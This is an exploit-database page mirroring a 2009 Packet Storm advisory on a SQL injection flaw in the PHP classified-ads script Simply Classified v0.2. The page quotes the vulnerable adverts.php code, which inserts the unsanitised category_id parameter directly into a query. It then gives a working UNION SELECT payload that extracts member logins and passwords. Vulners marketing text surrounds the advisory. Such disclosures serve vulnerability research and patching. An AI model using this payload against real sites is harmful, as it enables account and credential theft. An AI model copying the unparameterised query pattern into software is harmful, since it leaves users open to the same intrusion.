Lucene search
K

Simply Classified 0.2 SQL Injection

🗓️ 27 Mar 2009 00:00:00Reported by G4N0KType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 17 Views

Simply Classified 0.2 SQL Injection vulnerability in PHP and MySQ

Code
`==============================================================================  
_ _ _ _ _ _   
/ \ | | | | / \ | | | |  
/ _ \ | | | | / _ \ | |_| |  
/ ___ \ | |___ | |___ / ___ \ | _ |  
IN THE NAME OF /_/ \_\ |_____| |_____| /_/ \_\ |_| |_|  
  
  
==============================================================================  
____ _ _ _ _ ___ _ __  
/ ___| | || | | \ | | / _ \ | |/ /  
| | _ | || |_ | \| | | | | | | ' /   
| |_| | |__ _| | |\ | | |_| | | . \   
\____| |_| |_| \_| \___/ |_|\_\ A Baloch From Iran  
  
==============================================================================  
Simply Classified v0.2 (category_id) SQL Injection Vulnerability  
==============================================================================  
  
[»] Script: [ Simply Classified v0.2 ]  
[»] Language: [ PHP, MySQL ]  
[»] Website: [ http://www.hotscripts.com/listing/simply_classifieds/ ]  
[»] Type: [ Free|OS ]  
[»] Today: [ 26032009 ]  
[»] Founder: [ G4N0K | mail[.]ganok[sh!t]gmail.com ]  
  
  
===[ code! ]===  
  
[+] adverts.php, 33-34  
  
{...}  
<?php  
$id = $_GET['category_id']; // <== you know!  
$query = "SELECT * FROM type WHERE id=$id" ; // <== did you got it!, damn, check it again.  
$result = mysql_query($query);  
$row = mysql_fetch_array($result);  
?>  
{...}  
  
  
  
===[ XPL ]===  
  
[»] http://127.0.0.1/classified/adverts.php?category_id=5 UNION ALL SELECT 1,2,concat(login,0x3a,passwd),4,5,6,7,8,9,10 FROM members  
  
  
===[ LIVE ]===  
  
[»] N/A  
  
  
===[ Greetz ]===  
  
[»] ALLAH  
  
===============================================================================  
D-End...  
===============================================================================  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Mar 2009 00:00Current
0.8Low risk
Vulners AI Score0.8
17